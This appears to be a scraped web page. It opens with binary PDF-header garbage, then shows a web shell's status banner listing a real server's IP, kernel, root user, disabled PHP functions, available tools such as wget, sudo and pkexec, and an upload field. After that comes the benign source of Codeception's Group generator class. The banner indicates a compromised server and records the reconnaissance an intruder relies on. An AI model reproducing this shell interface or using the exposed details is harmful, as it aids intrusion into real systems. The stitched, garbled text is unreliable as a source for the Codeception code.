%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 49.231.201.246 / Your IP : 216.73.216.149 Web Server : Apache/2.4.18 (Ubuntu) System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64 User : root ( 0) PHP Version : 7.0.33-0ubuntu0.16.04.16 Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /proc/11585/cwd/html/water/vendor/codeception/codeception/src/Codeception/Lib/Generator/ |
Upload File : |
<?php namespace Codeception\Lib\Generator; use Codeception\Util\Shared\Namespaces; use Codeception\Util\Template; class Group { use Namespaces; use Shared\Classname; protected $template = <<<EOF <?php namespace {{namespace}}; use \Codeception\Event\TestEvent; /** * Group class is Codeception Extension which is allowed to handle to all internal events. * This class itself can be used to listen events for test execution of one particular group. * It may be especially useful to create fixtures data, prepare server, etc. * * INSTALLATION: * * To use this group extension, include it to "extensions" option of global Codeception config. */ class {{class}} extends \Codeception\Platform\Group { public static \$group = '{{groupName}}'; public function _before(TestEvent \$e) { } public function _after(TestEvent \$e) { } } EOF; protected $name; protected $namespace; protected $settings; public function __construct($settings, $name) { $this->settings = $settings; $this->name = $name; $this->namespace = $this->getNamespaceString($this->settings['namespace'] . '\\Group\\' . $name); } public function produce() { $ns = $this->getNamespaceString($this->settings['namespace'] . '\\' . $this->name); return (new Template($this->template)) ->place('class', ucfirst($this->name)) ->place('name', $this->name) ->place('namespace', $this->namespace) ->place('groupName', strtolower($this->name)) ->produce(); } }